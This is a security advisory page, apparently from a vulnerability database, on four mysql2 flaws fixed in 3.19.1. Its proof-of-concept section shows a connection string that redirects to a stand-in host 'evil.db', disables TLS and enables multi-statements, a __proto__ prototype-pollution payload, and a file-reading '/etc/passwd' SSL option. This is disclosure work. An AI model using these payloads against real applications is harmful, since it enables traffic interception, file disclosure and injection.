GHSA-7hh4-7hx5-vxx8: 
JavaScript Analyse et atténuation de la vulnérabilité

Description

Four related vulnerabilities were found in mysql2 <= 3.19.0: 1. Connection option override via parseUrl() query parameters ConnectionConfig.parseUrl() processes all URL query parameters via JSON.parse() and assigns them into connection options without filtering. Query parameters are processed after the URL structure, so they override security-critical fields like host, ssl, and multipleStatements. An attacker who controls or influences the connection string can:

  • Redirect connections to a malicious MySQL server (?host=evil.db)
  • Disable TLS (?ssl=false)
  • Enable multi-statement queries (?multipleStatements=true), facilitating SQL injection
  • Read arbitrary files via SSL options (?ssl={"ca":"/etc/passwd"}) This is relevant in multi-tenant platforms, admin panels, or any application that accepts user-supplied database connection strings. 2. Prototype pollution via parseUrl() proto key The same unfiltered query parameter processing in parseUrl() also enables prototype pollution. An attacker can inject ?__proto__={"polluted":true} into the connection string, which JSON.parse() parses into an object and assigns via options[key], polluting Object.prototype for the entire process. This was identified by @wellwelwel during the fix review (PR #4162) and is resolved by the same patch. 3. DoS via malformed geometry payloads

parseGeometryValue() reads geometry structures from server responses without validating buffer bounds. A malformed payload with inflated point/ring counts triggers an uncaught RangeError, crashing the Node.js process. Exploitable when a malicious MySQL server (e.g., via the connection redirect in finding 1) sends crafted geometry responses. 4. Logical out-of-bounds read in readNullTerminatedString() readNullTerminatedString() scans for a null byte without checking the logical packet boundary (this.end). When packets share the same backing Buffer, the method reads past the current packet into adjacent data, violating packet framing assumptions and potentially leaking data from neighboring packets.

Proof of Concept

Finding 1 — Config injection:

const { createConnection } = require('mysql2');
// Attacker-controlled DSN overrides host and disables TLS
const conn = createConnection(
  'mysql://user:pass@legit.db/app?host=evil.db&ssl=false&multipleStatements=true'
);
// conn.config.host === 'evil.db'
// conn.config.ssl === false
// conn.config.multipleStatements === true

Finding 2 — Prototype pollution:

const { ConnectionConfig } = require('mysql2');
ConnectionConfig.parseUrl(
  'mysql://user:pass@legit.db/app?__proto__={"polluted":"yes"}'
);
console.log(({}).polluted); // 'yes' — Object.prototype polluted!

Finding 3 — Geometry DoS: A geometry column response with a declared point count larger than the available buffer triggers:

RangeError: The value of "offset" is out of range...

This crashes the process if unhandled. Finding 4 — OOB read: With a packet ending at byte 7 and additional bytes in the same backing buffer, readNullTerminatedString() returns data beyond the logical packet boundary (e.g., "ABCSECRET" instead of "ABC").

Fix

All issues were fixed in v3.19.1:

  • PR #4162: Query parameters no longer override URL-derived options; also prevents __proto__ pollution
  • PR #4159, #4164: Geometry parser validates buffer bounds; returns null for malformed payloads
  • PR #4161: Null byte scan stops at logical packet boundary

Credit

  • Reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
  • Fixes implemented and released by @wellwelwel, who also identified the prototype pollution vector during fix review

Timeline

  • 2026-03-07: Vulnerabilities discovered
  • 2026-03-08: Report sent to maintainer
  • 2026-03-08: Maintainer acknowledged, began fixes (PRs #4159, #4161, #4162, #4164)
  • 2026-03-09: All fixes merged, v3.19.1 released

Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-7hh4-7hx5-vxx8HIGH7.7
  • JavaScript logoJavaScript
  • mysql2
NonOuiNov 26, 2026
GHSA-656w-x92q-369mMEDIUM5.9
  • JavaScript logoJavaScript
  • hono
NonOuiNov 26, 2026
GHSA-mhwf-w6q6-q58wMEDIUM5.3
  • JavaScript logoJavaScript
  • hono
NonOuiNov 26, 2026
GHSA-586x-c76g-h528MEDIUM5.3
  • JavaScript logoJavaScript
  • hono
NonOuiNov 26, 2026
GHSA-2qxc-5xj9-7342LOW2.3
  • JavaScript logoJavaScript
  • @logtape/syslog
NonNonNov 26, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités